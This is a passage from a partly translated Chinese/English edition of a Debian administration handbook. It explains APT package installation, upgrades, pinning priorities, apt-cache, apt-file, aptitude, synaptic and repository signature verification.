移除或修改套件內的檔案後，此系統可能受損。最簡易的修復方法是重新安裝受損的套件。不幸的是，套件管理系統拒絕安裝已經安裝的套件；可使用 --reinstall 選項於 apt 與 apt-get 命令中就能再安裝。即使已有仍可使用以下的指命令 postfix 再安裝：

# apt --reinstall install postfix

aptitude 命令列有點不同，但其結果與 aptitude reinstall postfix 命令相同。

在 dpkg 裡沒有這個問題，但管理者很少用它。

小心！使用 apt --reinstall 修復被攻擊的套件不會恢復系統原來的樣子。節 14.7, “Dealing with a Compromised Machine” 詳述恢復的必要步驟。

These commands will not restore the configuration files. But as you have learned in 節 5.2.3, “Checksums, List of Configuration Files, et al.” (see also sidebar 進一步 強迫 dpkg 詢問組態檔的問題), you can use the following command to be asked to install the unmodified version and even restore any deleted configuration file as well.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install package

Some packages don't ship the configuration file found in /etc with the package. Instead they create it during installation by either copying a skeleton or writing it by a script. The file /etc/inputrc, for example, is a copy of /usr/share/readline/inputrc. In such cases the commands shown above won't work.

If the file sources.list mentions several distributions, it is possible to give the version of the package to install. A specific version number can be requested with apt install package=version, but indicating its distribution of origin (Stable, Testing or Unstable) — with apt install package/distribution — is usually preferred. With this command, it is possible to go back to an older version of a package (if, for instance, you know that it works well), provided that it is still available in one of the sources referenced by the sources.list file. Otherwise the snapshot.debian.org archive can come to the rescue (see sidebar GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org).

範例 6.4. Installation of the Unstable version of spamassassin

# apt install spamassassin/unstable

If the package to install has been made available to you under the form of a simple .deb file without any associated package repository, it is still possible to use APT to install it together with its dependencies (provided that the dependencies are available in the configured repositories) with a simple command: apt install ./path-to-the-package.deb. The leading ./ is important to make it clear that we are referring to a filename and not to the name of a package available in one of the repositories.

下一步 快取 .deb 檔

APT keeps a copy of each downloaded .deb file in the directory /var/cache/apt/archives/. In case of frequent updates, this directory can quickly take a lot of disk space with several versions of each package; you should regularly sort through them. Two commands can be used: apt-get clean entirely empties the directory; apt-get autoclean only removes packages which can no longer be downloaded (because they have disappeared from the Debian mirror) and are therefore clearly useless (the configuration parameter APT::Clean-Installed can prevent the removal of .deb files that are currently installed).

6.2.3. 系統升級

建議使用正常的升級，因為包括最新的安全升級。升級的指令，有 apt upgrade、apt-get upgrade 或 aptitude safe-upgrade (當然是跟著 apt update 之後)。在不移除任何套件的情況下，此命令搜尋已安裝套件中可以升級的部份。換句話說，其目標是做到侵入性最小的升級。apt-get 比 aptitude 或 apt 有更多的需求，因為拒絕安裝不曾安裝過的套件。

apt 會選擇最新的版本號 (除了來自 實驗版 與 穩定反向植入版，其預設忽略版本號)。若指定 測試版 或 不穩定版 於 sources.list 內，則 apt upgrade 會把 穩定版 系統切換至 測試版 或 不穩定版，這些都不是您要的。

To tell apt to use a specific distribution when searching for upgraded packages, you need to use the -t or --target-release option, followed by the name of the distribution you want (for example, apt -t stable upgrade). To avoid specifying this option every time you use apt, you can add APT::Default-Release "stable"; in the file /etc/apt/apt.conf.d/local.

重要的升級，諸如 Debian 的主要版本升級，需使用 apt full-upgrade。在此指令內， 即使刪除若干老舊的套件或安裝新的相依性也會把 apt 完全升級。也是每日於T Debian 不穩定版 使用的命令以及逐日追蹤其變動。它的運作極簡單不需說明：APT 的名聲來自其功能性。

不同於 apt 與 aptitude，apt-get 不知道 full-upgrade 命令。反而，您應使用 apt-get dist-upgrade (”升級發行版”)，此古老且知名的命令也被 apt 與 aptitude 接受給讀者相當的便利。

The results of these operations are logged into /var/log/apt/history.log and /var/log/apt/term.log, whereas dpkg keeps its log in a file called /var/log/dpkg.log.

6.2.4. 組態選項

Besides the configuration elements already mentioned, it is possible to configure certain aspects of APT by adding directives in a file of the /etc/apt/apt.conf.d/ directory or /etc/apt/apt.conf itself. Remember, for instance, that it is possible for APT to tell dpkg to ignore file conflict errors by specifying DPkg::options { "--force-overwrite"; }.

If the Web can only be accessed through a proxy, add a line like Acquire::http::proxy "http://yourproxy:3128". For an FTP proxy, write Acquire::ftp::proxy "ftp://yourproxy". To discover more configuration options, read the apt.conf(5) manual page (for details on manual pages, see 節 7.1.1, “手冊頁面”).

基本 結尾是 .d 的資料夾名稱

結尾是 .d 資料使用機會愈來愈多。每個資料夾內的組態檔係供多個檔案使用。所以，在 /etc/apt/apt.conf.d/ 內的檔案都是供 APT 組態之用。APT 以字順方式納入他們，最後一個檔案可以修正在前的組態。

此結構對機器的管理者與套件維護帶來若干彈性。確實，管理者容易修改軟體的組態，祗需在有問題的資料夾新增檔案而不必變動既有的檔案。需要調整另個軟體的組態，以確保與既有軟體相依，套件維護者以同樣的方法就能達成。Debian 的政策禁止修改其他套件的組態檔 — 祗有被授權者才能修改。套件升級時，使用者應保留選擇組態檔版本的權力。外部修改此檔案時將啟動該選項，管理者就知道是外來的修改。

Without a .d directory, it is impossible for an external package to change the settings of a program by modifying its configuration file directly. Instead it must either invite the user to do it themselves and lists the operations to be done in the file /usr/share/doc/package/README.Debian, or it must create a file diversion for the configuration file using the dpkg-divert command and then install its own configuration file for the software in question. The latter is sometimes used by third party packages which try to handle configuration files of software components they use.

視應用程式的需要，可直接使用或由外部腳本管理 .d 資料夾，將所有檔案串聯成一個組態檔。更動資料夾內容後，必須再執行腳本，才能納入該等變動。還有一件重要的事，千萬不要直接執行自動生成的組態檔，因為下次執行腳本後將失去所有的東西。受到環境的限制才被迫選擇指定的方法 (直接使用 .d 資料夾或由該資料夾產生的檔案)，不論何種方法，組態的彈性收益遠大於其帶來的複雜性。Exim 4 郵件伺服器是產生檔案方法的範例之一：可用多個檔案 (/etc/exim4/conf.d/*) 組態串聯成 /var/lib/exim4/config.autogenerated 再由 update-exim4.conf 命令執行。

6.2.5. 管理套件優先性

組態 APT 最重要的層面之一是管理每個套件來源的優先性。例如，從 測試版、不穩定 或 實驗版 中選取一個或多個套件。可以指令每個套件的優先性 (視其版本或發行版，同個套件可以有多個優先性)。這些優先性將影響 APT 的行為：每個套件總是選擇最優先的版本 (除非舊於已安裝的版本或優先性小於 1000)。

APT 設定若干預設的優先性。已安裝套件版本的優先性是 100。未安裝版本預設優先性為 500，若是另個釋出的目標則可跳至 990 (以 -t 命令列選項或 APT::Default-Release 組態指令調整)。

You can modify the priorities by adding entries in a file in /etc/apt/preferences.d/ or the /etc/apt/preferences file with the names of the affected packages, their version, their origin and their new priority.

APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000 (or it is explicitly requested by the user, see 節 6.2.2, “安裝與移除”). APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).

In more concrete terms, a package whose priority is

< 0

will never be installed,

1..99

will only be installed if no other version of the package is already installed,

100..499

will only be installed if there is no other newer version installed or available in another distribution,

500....989

will only be installed if there is no newer version installed or available in the target distribution,

990..1000

will be installed except if the installed version is newer,

> 1000

will always be installed, even if it forces APT to downgrade to an older version.

When APT checks /etc/apt/preferences and /etc/apt/preferences.d/, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including, for example, all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release file that APT downloads together with the Packages files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example, 11 for Debian Bullseye). Let's have a look at its syntax through some realistic case studies of this mechanism.

特例實驗性的優先性

若把 Experimental 列在 sources.list 檔案內，幾乎不會安裝對應套件因為其 APT 優先性為1。當然這是特例，避免使用者意外安裝 Experimental 套件。這些套件祗能以指令 aptitude install 套件名稱/experimental 安裝 — 使用者鍵入此指令時自然知道其風險。還是有可能 (雖然 不 建議) 把 Experimental 內的套件視為其他發行版而給予優先性 100。在 /etc/apt/preferences 檔案內給予特定的款目就行了：

Package: *

Pin: release a=experimental

Pin-Priority: 500

暫時假設您祗需用到 Debian 穩定版的套件。除非特別指明，不會安裝其他版本的套件。可以在 /etc/apt/preferences 檔案內寫入以上的款目：

Package: *

Pin: release a=stable

Pin-Priority: 900

Package: *

Pin: release o=Debian

Pin-Priority: -10

a=stable 設定發行版的名稱。o=Debian 限制來自 “Debian” 的套件。

Let's now assume that you have a server with several local programs depending on the version 5.28 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:

Package: perl

Pin: version 5.28*

Pin-Priority: 1001

To gain a better understanding of the mechanisms of priority and distribution or repository properties to pin do not hesitate to execute apt-cache policy to display the default priority associated with each package source, or apt-cache policy package to display the default priority for each available version and source of a package as explained in 節 6.3.1, “The apt-cache policy Command”.

The reference documentation for the files /etc/apt/preferences and /etc/apt/preferences.d/ is available in the manual page apt_preferences(5), which you can display with man apt_preferences.

秘訣 在 /etc/apt/preferences 內的評論

/etc/apt/preferences 檔案沒有放置評論的官方語法，但可以在每個款目的 “Explanation” 欄位置入若干說明：

Explanation: The package xserver-xorg-video-intel provided

Explanation: in experimental can be used safely

Package: xserver-xorg-video-intel

Pin: release a=experimental

Pin-Priority: 500

6.2.6. 在多個發行版工作

apt 是很奇妙的工具，可從其他發行版提取套件。例如，安裝 穩定版 系統之後，或許想要在不偏離系統原來狀態下，試試 測試版 或 不穩定版 的套件。

混用不同版本套件出問題時，Even if you will occasionally encounter problems while mixing packages from different distributions, apt 可以處理得極為恰當把風險降到最低。最好的方法是把所有的發行版置於 /etc/apt/sources.list 檔案內 (某些人總是置入三個發行版，不過還是要記得 不穩定版 是有經驗使用者的專屬。) 且在 APT::Default-Release 參數中設定偏好的發行版 (見 節 6.2.3, “系統升級”) 。

假設 穩定版 是您的參考版本，但是 測試版 與 不穩定版 也列在 sources.list 檔案內。在這個情況下，您可使用 apt install 套件名稱/testing 安裝來自 測試版 的套件。若因相依性未滿足而安裝失敗，可以在 測試版 內加入 -t testing 參數。同樣的方式也適用於 不穩定版。

In this situation, upgrades (upgrade and full-upgrade) are done within Stable except for packages already upgraded to another distribution: those will follow updates available in the other distributions. We will explain this behavior with the help of the default priorities set by APT below. Do not hesitate to use apt-cache policy (節 6.3.1, “The apt-cache policy Command”) to verify the given priorities.

每件事都圍繞在 APT 祗處理高於或等於已安裝版本號套件的前提下 (假設 /etc/apt/preferences 還未強迫優先性高於 1000 的某些套件)。

假設從Let's assume that you have installed version 1 of a first package from 穩定版 安裝第一個套件的第一版且從and that version 2 and 3 are available respectively in 測試版 與 不穩定版 安裝同套件的第二版與第三版水。已安裝的版本優先性為 100 但在but the version available in 穩定版 (相同的) 優先性為 990 (因為它是目標釋出版的一部份)。在 測試版 與 不穩定版 的套件其優先性為 500 (預設不安裝版本的優先性)。獲選者為優先性 990 的版本1。套件 “留在 穩定版 內”。

Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable. If you don't want a package installed from Testing to migrate to the version in Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences to this effect:

Package: *

Pin: release a=unstable

Pin-Priority: 490

6.2.7. 自動追蹤已安裝的套件

One of the essential functionalities of apt is the tracking of packages installed only through dependencies. These packages are called “automatic”, and often include libraries.

With this information, when packages are removed, the package managers can compute a list of automatic packages that are no longer needed (because there is no “manually installed” packages depending on them). apt-get autoremove or apt autoremove will get rid of those packages. aptitude does not have this command because it removes them automatically as soon as they are identified. In all cases, the tools display a clear message listing the affected packages.

把套件標記為自動是個好習慣，不需要時就被自動移除。apt-mark auto 套件名稱 會標記該套件為自動而 apt-mark manual 套件名稱 則不標記。aptitude markauto 與 aptitude unmarkauto 作用相同祗是功能較多 (見 節 6.5.1, “aptitude”)。命令互動介面的 aptitude 也可檢視多個套件的 “自動旗標”。

自動安裝套件出現在系統內。係由於從命令列取得該等資訊，可使用 aptitude why 套件名稱 (apt 與 apt-get 沒有類似的功能)：

$ aptitude why python3-debian

i   aptitude         Suggests apt-xapian-index

p   apt-xapian-index Depends  python3-debian (>= 0.1.14)

其他 deborphan 與 debfoster

In days where apt, apt-get and aptitude were not able to track automatic packages, there were two utilities producing lists of unnecessary packages: deborphan and debfoster. Both can still be useful.

deborphan scans the libs and oldlibs sections by default (in the absence of supplementary instructions) looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.

debfoster 還有其他用法，極類似 APT：維護一個已安裝的套件以及需要互調用的套件清單。系統內出現新的套件且 debfoster 不知道它需要那些套件，則在螢幕顯示其相依的套件清單。此程式提供新的選擇：移除套件 (或許連同相依者)，標記為必要，或暫時忽略它。

6.2.8. APT Patterns

Patterns allow you to specify complex search queries to select the packages you want to install or show. They were first implemented for aptitude (see 節 6.5, “前置：aptitude、synaptic”), but now APT can also make use of them.

For example, we can use apt list ?automatic to list all the packages automatically installed. To find packages automatically installed no longer depended upon by manually installed packages the pattern ?garbage can be used.

Logic patterns can be combined with other packages to form more complex expressions. For instance, we could use a pattern like ?and(PATTERN, PATTERN). See apt-patterns(7) and glob(7) for all the patterns you can use and the complex expressions you can create with them.

6.3. The apt-cache 命令

apt-cache 命令可顯示 APT 內部資料庫裡的多種資訊。這些資訊是從 sources.list 檔案內聚集不同來源的快取。於執行 apt update 運作時產生的。

術語 快取

快取是一種暫存系統，近用方法昂貴 (講究性能) 時，用於加快常用資料的取用速度。這個概念應用範圍極廣，從微處理器核心至高階儲存系統。

In the case of APT, the reference Packages files are those located on Debian mirrors. That said, it would be very ineffective to go through the network for every search that we might want to do in the database of available packages. That is why APT stores a copy of those files (in /var/lib/apt/lists/) and searches are done within those local files. Similarly, /var/cache/apt/archives/ contains a cache of already downloaded packages (see sidebar 下一步 快取 .deb 檔) to avoid downloading them again if you need to reinstall them after a removal.

On the other hand, it is mandatory to run apt update regularly to update the cache. Otherwise your package search results will always miss the latest updates distributed by the Debian mirrors.

The apt-cache command can do keyword-based package searches with apt-cache search keyword. It can also display the headers of the package's available versions with apt-cache show package. This command provides the package's description, its dependencies, the name of its maintainer, etc. Note that apt search, apt show, aptitude search, and aptitude show work in the same way.

其他 axi-cache

apt-cache search 是基礎的工具，應用在 grep 套件描述。輸入過多鍵詞可能送回大量結果或完全無資料。

axi-cache search term, on the other hand, provides better results, sorted by relevancy. It uses the Xapian search engine and is part of the apt-xapian-index package which indexes all package information (and more, like the .desktop files from all Debian packages). It knows about tags (see sidebar 進一步 Tag 欄位) and returns results in a matter of milliseconds.

$ axi-cache search package use::searching

axi-cache search package use::searching

13 results found.

Results 1-13:

100% packagesearch - GUI for searching packages and viewing package information

87% debtags - Debian Package Tags support tools

86% whohas - query multiple distributions' package archives

84% recoll - Personal full text search package

82% apt-forktracer - utility for tracking non-official package versions

[..]

66% apt - commandline package manager

More terms: debian dpkg search debtags whohas forktracer dctrl

More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http

Some features are more rarely used. For instance, apt-cache dumpavail displays the headers of all available versions of all packages. apt-cache pkgnames displays the list of all the packages which appear at least once in the cache.

One of the features which might come in handy more often is apt-cache policy, described in the following section.

6.3.1. The apt-cache policy Command

The apt-cache policy command displays the pinning priorities and distribution properties of each package source as explained in 節 6.2.5, “管理套件優先性”. It can also show the pinning priorities for all available versions and sources of a package. For the sources.list example used in 範例 6.2, “供 Debian 穩定版使用者的 /etc/apt/sources.list” and APT::Default-Release set to "bullseye", the output will look like this:

$ apt-cache policy

Package files:

100 /var/lib/dpkg/status

release a=now

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/non-free amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/contrib amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/main amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64

origin deb.debian.org

500 http://security.debian.org bullseye-security/main amd64 Packages

release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64

origin security.debian.org

Pinned packages:

apt-cache policy can also show the pinning priorities for all available versions and sources of a given package.

$ apt-cache policy limnoria

limnoria:

Installed: 2021.06.15-1

Candidate: 2021.06.15-1

Version table:

2021.07.21-1~bpo11+1 100

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

*** 2021.06.15-1 990

990 https://deb.debian.org/debian bullseye/main amd64 Packages

100 /var/lib/dpkg/status

Although there is a newer version of limnoria in the bullseye-backports repository, APT will not install it automatically based on the priority. One would have to use apt install limnoria/bullseye-backports or add a higher pinning priority to /etc/apt/preferences.d/limnoria.pref:

Package: limnoria

Pin: release o=Debian Backports, a=bullseye-backports

Pin-Priority: 1001

$ apt-cache policy limnoria

limnoria:

Installed: 2021.06.15-1

Candidate: 2021.07.21-1~bpo11+1

Version table:

2021.07.21-1~bpo11+1 1001

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

*** 2021.06.15-1 990

990 https://deb.debian.org/debian bullseye/main amd64 Packages

100 /var/lib/dpkg/status

6.4. The apt-file Command

Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named Contents-arch.gz and Contents-udeb-arch.gz. This information is not automatically downloaded by APT. Instead it needs the apt-file update command (from the similar named package) to retrieve the contents of all package sources mentioned in /etc/apt/sources.list. By default it downloads Contents*.pdiff files as described in sidebar TIP Incremental updates to reduce the amount of data necessary to be downloaded. To update the database on a weekly base, the following entry can be added to /etc/crontab if convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

After the database has been updated, the command apt-file search pattern will list all packages, which contain a filename or path containing the pattern.

$ apt-file search bin/axi-cache

apt-xapian-index: /usr/bin/axi-cache

The command apt-file list package will list all files shipped with the package instead.

TIP Listing a package contents and finding a file's package

Similar to apt-file list the command dpkg -L package lists all files, but only for an installed package. To find the package, a local file belongs to, use dpkg -S file (see 節 5.4.3, “查詢 dpkg 的資料庫與檢查 .deb 檔案”). To list all local files not belonging to any installed package, you might want to take a look at the cruft or the cruft-ng package.

6.5. 前置：aptitude、synaptic

APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (frontends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test frontend for libapt-pkg but its success tends to obscure this fact.

6.5.1. aptitude

aptitude is an interactive program that can be used in semi-graphical mode on the console. You can browse the list of installed and available packages, look up all the available information, and select packages to install or remove. The program is designed specifically to be used by administrators, so that its default behaviors are designed to be much more intelligent than apt-get's, and its interface much easier to understand.

圖形 6.1. The aptitude 套件管理者

When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or installed but not available on the mirrors — other sections display tasks, virtual packages, and new packages that appeared recently on mirrors). To facilitate thematic browsing, other views are available. In all cases, aptitude displays a list combining categories and packages on the screen. Categories are organized through a tree structure, whose branches can respectively be unfolded or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to mark it for removal and _ to purge it (note that these keys can also be used for categories, in which case the corresponding actions will be applied to all the packages of the category). u updates the lists of available packages and Shift+u prepares a global system upgrade. g switches to a summary view of the requested changes (and typing g again will apply the changes), and q quits the current view. If you are in the initial view, this will effectively close aptitude.

文件 aptitude

This section does not cover the finer details of using aptitude. It rather focuses on giving you a survival kit to use it. But it is well documented and we advise you to use its complete manual available in the aptitude-doc-en package (see /usr/share/doc/aptitude/html/en/index.html) or at https://www.debian.org/doc/manuals/aptitude/.

鍵入 / 及搜尋的鍵詞，就能搜尋套件。鍵詞對應至套件的名稱，也可應用於描述內容 (若前置 ~d、區塊 (前置 ~s) 或文件內的其他字詞。同樣的鍵詞可以篩選顯示套件的清單：鍵入 l 鍵 (如同在 limit 之內) 與其他鍵詞。

Managing the “automatic flag” of Debian packages (see 節 6.2.7, “自動追蹤已安裝的套件”) is a breeze with aptitude. It is possible to browse the list of installed packages and mark packages as automatic with Shift+m or to remove the mark with the m key. “Automatic packages” are displayed with an “A” in the list of packages. This feature also offers a simple way to visualize the packages in use on a machine, without all the libraries and dependencies that you don't really care about. The related pattern that can be used with l (to activate the filter mode) is ~i!~M. It specifies that you only want to see installed packages (~i) not marked as automatic (!~M).

工具 在命令列介面使用 aptitude

經由命令列或互動介面可以近用 aptitude 大部份的功能。命令列看來像是 apt-get 與 apt-cache。

也能從命令列近用 aptitude 的進階功能。使用互動版相同的套件搜尋模式。例如，清除 “手動安裝” 套件、在地安裝的程式不再需要程式庫或 Perl 模組，就可把對應的套件標示為自動：

# aptitude markauto '~slibs|~sperl'

從這裡您可看到 aptitude 搜尋模式系統的威力，即時選取 libs 與 perl 區塊的所有套件。

小心對應，部份套件被標記為自動且其他套件均未相依於它們，該等套件就會被自動移除 (經過確認程式)。

6.5.1.1. 管理推薦、建議與工作

Another interesting feature of aptitude is the fact that it respects recommendations between packages while still giving users the choice not to install them on a case by case basis. For example, the gnome package recommends transmission-gtk (among others). When you select the former for installation, the latter will also be selected (and marked as automatic if not already installed on the system). Typing g will make it obvious: transmission-gtk appears on the summary screen of pending actions in the list of packages installed automatically to satisfy dependencies. However, you can decide not to install it by deselecting it before confirming the operations.

此推薦追蹤功能不適用於更新。例如，若 gnome 新版建議一個不包括稍前版本的套件，就不會安裝它。然而，還是列在螢幕，管理者仍可點選並安裝它。

Suggestions between packages are also taken into account, but in a manner adapted to their specific status. For example, since gnome suggests empathy, the latter will be displayed on the summary screen of pending actions (in the section of packages suggested by other packages). This way, it is visible and the administrator can decide whether to take the suggestion into account or not. Since it is only a suggestion and not a dependency or a recommendation, the package will not be selected automatically — its selection requires a manual intervention from the user (thus, the package will not be marked as automatic).

在同樣的精神下，記得 aptitude 以智慧的手法使用工作的概念。在螢幕的套件清單中顯示工作，可以安裝或移除選定的完整工作，或瀏覽包括選定較小工作的套件清單。

6.5.1.2. 較佳的解決演算法

To conclude this section, let's note that aptitude has more elaborate algorithms compared to apt-get when it comes to resolving difficult situations. When a set of actions is requested and when these combined actions would lead to an incoherent system, aptitude evaluates several possible scenarios and presents them in order of decreasing relevance. However, these algorithms are not fail-proof. Fortunately there is always the possibility to manually select the actions to perform. When the currently selected actions lead to contradictions, the upper part of the screen indicates a number of “broken” packages (and you can directly navigate to those packages by pressing b). It is then possible to manually build a solution for the problems found. In particular, you can get access to the different available versions by simply selecting the package with Enter. If the selection of one of these versions solves the problem, you should not hesitate to use the function. When the number of broken packages gets down to zero, you can safely go to the summary screen of pending actions for a last check before you apply them.

說明 aptitude 的記錄檔

如同 dpkg，aptitude 追蹤執行動作存在其記錄檔內 (/var/log/aptitude)。然而，兩個命令分別在不同層次工作，各自的記錄檔有不同的資訊。當 dpkg 記錄對各別套件的一步步運作，aptitude 則記錄系統更新之類的高階運作。

Beware, this logfile only contains a summary of operations performed by aptitude. If other frontends (or even dpkg itself) are occasionally used, then aptitude's log will only contain a partial view of the operations, so you can't rely on it to build a trustworthy history of the system.

6.5.2. synaptic

synaptic 是 Debian 的套件圖形管理器，在 GTK+/GNOME 的基礎上提供清楚有效的圖形介面。它以很多的立即可用篩選器提供快速近用新增的套件、安裝套件、可升級套件、過時套件等。經由這些清單瀏覽，選定對套件的工作 (安裝、升級、移除、清除)；不會立即執行此等工作，但把它們放入工作清單。單鍵按下可執行的工作，接著就可執行。

圖形 6.2. synaptic 套件管理器

6.6. 檢查套件真偽

Falcot 公司的管理極重視安全。因此，他們祗安裝 Debian 保證無竄改的套件。電腦怪客可能在合法的套件巾加入若干惡意程式碼。若安裝了這種套件，就會執行怪客要它做的事，包括洩露密碼或隱私資訊。為避過這個風險，Debian 有個機制在安裝時避過此纂改的風險，祗安裝來自官方維護者的套件且未經第三方修改。

The seal works with a chain of cryptographic hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

NOTE The future of Release and Release.gpg

After the release of Debian 10 Buster the intention has been announced to remove support for the legacy files Release and Release.gpg in APT, used since version 0.6, which introduced support for an archive authentication.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/:

# ls /etc/apt/trusted.gpg.d/

debian-archive-bullseye-automatic.gpg

debian-archive-bullseye-security-automatic.gpg

debian-archive-bullseye-stable.gpg

debian-archive-buster-automatic.gpg

debian-archive-buster-security-automatic.gpg

debian-archive-buster-stable.gpg

debian-archive-stretch-automatic.gpg

debian-archive-stretch-security-automatic.gpg

debian-archive-stretch-stable.gpg

實務上 新增可信任的鑰匙

將第三方套件來源加入 sources.list 檔案後，必須告知 APT 信任對應的 GPG 認證密鑰 (否則將繼續抱怨且無法確認來自該典藏所的套件)。第一步是取得公鑰。多半以一個小小的純文字檔做為公鑰，在下面的例子裡，我們稱它為 key.asc。

To add the key to APT's trusted keyring, the administrator can just put it in a *.gpg file in /etc/apt/trusted.gpg.d/ (*.asc files are discouraged and can cause problems). This is supported since Debian Stretch. With older releases, you had to run apt-key add < key.asc, which is considered obsolete already.

While this is very common behavior, it also creates a possible issue. APT does not know which key belongs to which repository. If one of the keys in APT's keyring matches the signature of an archive, APT considers the archive as authenticated. Once a key has been added to the trusted keyring, a malicious attacker could actually provide its own "version" of a Debian mirror signed by the same key. It might therefor actually be better to put the key as *.gpg file into /usr/share/keyrings/ and use the Signed-By field in sources.list for third party repositories as shown in the example below.

Imagine, that the Falcot Corp. runs their own public repository and you want to use it. They have signed it and provide a publicly available key(ring) as well to download. To restrict the key to the repository, you can simply do this:

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Beware that adding and using third party repositories always poses a security and stability risk!

Once the appropriate keys are in the keyring, APT will check the signatures before any risky operation, so that frontends will display a warning if asked to install a package whose authenticity can't be ascertained.

Note, that binary packages are usually not signed. The integrity of a package can only be confirmed by checking its hashsums against a trusted (and possibly signed) hashsum source.

SPECIFIC CASE Unsigned repositories

While in general unsigned repositories shouldn't be used, some users might still require them, for example to provide some locally built packages. APT can be forced to accept such a repository by prepending the repository URL using allow-insecure=yes or trusted=yes. We will demonstrate it using the example from 節 15.3, “新增套裝軟體到APT”:

deb [ trusted=yes ] http://packages.falcot.com/ updates/

deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. 升級至下個穩定發行版

Debian 知名的功能之一是可升級至下個穩定版:dist-upgrade — 知名的句子 — 相當促進 Debian 的名聲。除了極少的例外，升級電腦系統祗需幾分鐘的時間，或暫十來分鐘，依照從套件儲存庫下載的速度而定.

6.7.1. 建議程序

Debian 各穩定版之間存在相當的差異，升級前應仔細閱讀釋出說明。

基本 釋出說明

作業系統 (更寛廣的說，任何軟體都在內) 的釋出說明是一份描述軟體概況的文件，特別關照指定的版本。相對於完成的軟體文件，這些文件相當簡短，通常列出前版之後新生成的功能。也提供升級的程序、對前版使用者的警示、以及若干錯誤更正。

Release notes for Debian are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

In this section, we will focus on upgrading a Buster system to Bullseye. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

Another good habit which makes the upgrade easier (and shorter) is to tidy your installed packages and keep only the ones that are really needed. Helpful tools to do that include aptitude, deborphan, debfoster, and apt-show-versions (see 節 6.2.7, “自動追蹤已安裝的套件”). For example, you can use the following command, and then use aptitude's interactive mode to double check and fine-tune the scheduled removals:

# deborphan | xargs aptitude --schedule-only remove

TIP Finding changed files

The debsums command can check if files on the local system, which are part of an installed package, have been altered. It uses a simple hashsum algorithm and the information in /var/lib/dpkg/info/package.md5sums (see 節 5.2.3, “Checksums, List of Configuration Files, et al.”). To find all altered configuration files use debsums -ec. To check the whole system, use debsums -c.

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Bullseye instead of Buster. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed with the apt update command or the refresh button in synaptic (節 6.2.1, “初始化”).

NOTE Repository information changes

When a new stable version of Debian is released, some fields in the Release and InRelease files of a repository change, like the Suite field. When this happens, downloading data from the repository is declined until the change is confirmed to ensure the user is prepared for it. To confirm the change use the --allow-releaseinfo-change or --allow-releaseinfo-change-field options for apt-get or the Acquire::AllowReleaseInfoChange configuration option.

